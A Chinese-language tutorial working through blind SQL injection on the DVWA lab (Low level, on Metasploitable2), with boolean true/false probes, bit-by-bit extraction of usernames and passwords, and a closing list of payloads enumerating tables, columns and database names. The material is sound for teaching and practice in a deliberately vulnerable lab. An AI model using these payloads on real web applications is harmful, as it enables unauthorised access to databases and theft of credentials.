一、环境
靶机:Metasploitable2
靶场:DVWA
靶场等级:Low
靶场类型:SQL Injection (Blind)
二、SQL查询语句
SELECT first_name, last_name FROM users WHERE user_id = '$id';
三、简单注入测试
盲注:页面不显⽰数据库报错信息,只显⽰通⽤错误提⽰,sql注⼊将⽆法依据报错信息获得注⼊语句的执⾏结果。即 盲。
首先进行正常输入,看下功能的实现:
- 正常输入为真的页面返回:
- 正常输入为假的返回页面:
之后使用简单的语句进行注入测试:
'
1'#
- 使用单引号进行注入测试:
- 使用 1’ # 进行注入测试:
四、绕过思路
因为⽆法基于报错信息判断结果,而通过页面返回结果可以得出结果为真和假的返回页面,我们就假设他返回的真的页面为1,假的页面为0,然后基于逻辑真假的不同结果来判断:
1' and 1=1#
1' and 1=2#
- 构造返回结果为真的sql注入语句:
- 构造返回结果为假的sql注入语句:
可以看到我们的sql注入语句成功的被目标服务器执行了,接下来就可以构造Payload了。接下来的第五部分我会以一个关键的SQL语句来介绍,其他部分盲注语句我会放在第六部分,不做讲解,大家自己思考然后上机。
五、二进制方式猜解用户名和密码
思路:查询用户名或密码的第一位的ascii码的二进制的第一个字符,之后循环获取直至全0即可。
下面以获取用户名来给大家举个栗子,密码的语句我放倒了第六部分,需要先猜表名字段名,下面三条语句实现的效果是一样的,这里我仅以第三条语句来给大家讲解
1' and SUBSTRING(BIN(ASCII(SUBSTRING(USER(),1,1))),6,1)>0#
0' or SUBSTRING(BIN(ASCII(SUBSTRING(USER(),1,1))),6,1)>0#
0' or SUBSTRING(BIN(ASCII(SUBSTRING((select user from users limit 0,1),3,1))),6,1)>0#
对于这条语句,我们需要从最内层的函数看起
select user from users limit 0,1;
该语句的作用是:查询users表中的user字段的内容,仅返回第一条查询结果。
substring((select user from users limit 0,1),1,1);
该语句的作用是:获取用户名的第一个字符
ascii(substring((select user from users limit 0,1),1,1));
该语句的作用是:获取用户名的第一个字符的ASCII码
bin(ascii(substring((select user from users limit 0,1),1,1)));
该语句的作用是:获取用户名的第一个字符的ASCII码的二进制
SUBSTRING(BIN(ASCII(SUBSTRING((select user from users limit 0,1),3,1))),1,1)
该语句的作用是:获取用户名的第一个字符的ASCII码的二进制的第一个字符
此时我们可以通过循环上述语句来获取完整的用户名。
0' or SUBSTRING(BIN(ASCII(SUBSTRING((select user from users limit 0,1),3,1))),6,1)>0#
该语句中最前面的0' or
以及最后面的>0#
的作用我们可以将其拼接到SQL查询语句中进行分析:
SELECT first_name, last_name FROM users WHERE user_id = '0' or SUBSTRING(BIN(ASCII(SUBSTRING((select user from users limit 0,1),3,1))),6,1)>0#;
可以看到0 or
以及>
的意思是将最前面的查询语句的返回结果设置为假,因为我们需要通过二进制的方式来获取返回结果,所以我们需要一个逻辑值,并且让我们的SQL语句执行结果不被前一个查询条件所影响从而永真,所以使用or,一旦我们的查询条件返回为1,则为真,为0则为假。当然也可以使用and,上面也给出了使用and的语句。
至于#
符号,他在本语句中起到一个闭合的作用,将查询语句中我不需要的可能会导致出错的后面所有内容全部注释掉。
六、其他盲注语句(思考后上机)
# 猜列数
0' union select 1,2#
# 猜函数名
0' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#
# 猜是否存在table_name列、infomation_schema.tables表
1' and 1=0 union select null,table_name from information_schema.tables#
0' union select null,table_name from information_schema.tables#
# 猜是否存在users表
1' and 1=0 union select null,table_name from information_schema.columns where table_na
me='users'#
0' union select null,table_name from information_schema.columns where table_name='user
s'#
# 当没有权限读取information_schema库 或 拒绝union order by时,可以使用如下方进行判断:
1. 猜列名:
1' and user is not null#(user就是你要判断的目标当前SQL查询语句所查询的数据库中的表中的字段)
0' or user is not null#
3. 猜当前表表名:1' and users.user is not null#
猜字段内容:1' and user='admin'
0' or user like '%a%%d%'
# 猜数据库名称
1' and ASCII(SUBSTRING(Database(),1,1))=100#
1' and SUBSTR(BIN(ASCII(Substr(Database(),1,1))),1,1)=1#
(0-8 通常只关注1-7位)
# 通过二进制获取密码
0' or substring(bin(ascii(substring((select password from users limit 0,1),1,1))),1,1)>0#
# 猜数据库名字长度
1’ and length(database())=4#
# 猜数据库名字
1’ and ascii(substr(database(),1,1))>97#
# 猜DVWA数据库中表的个数
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2#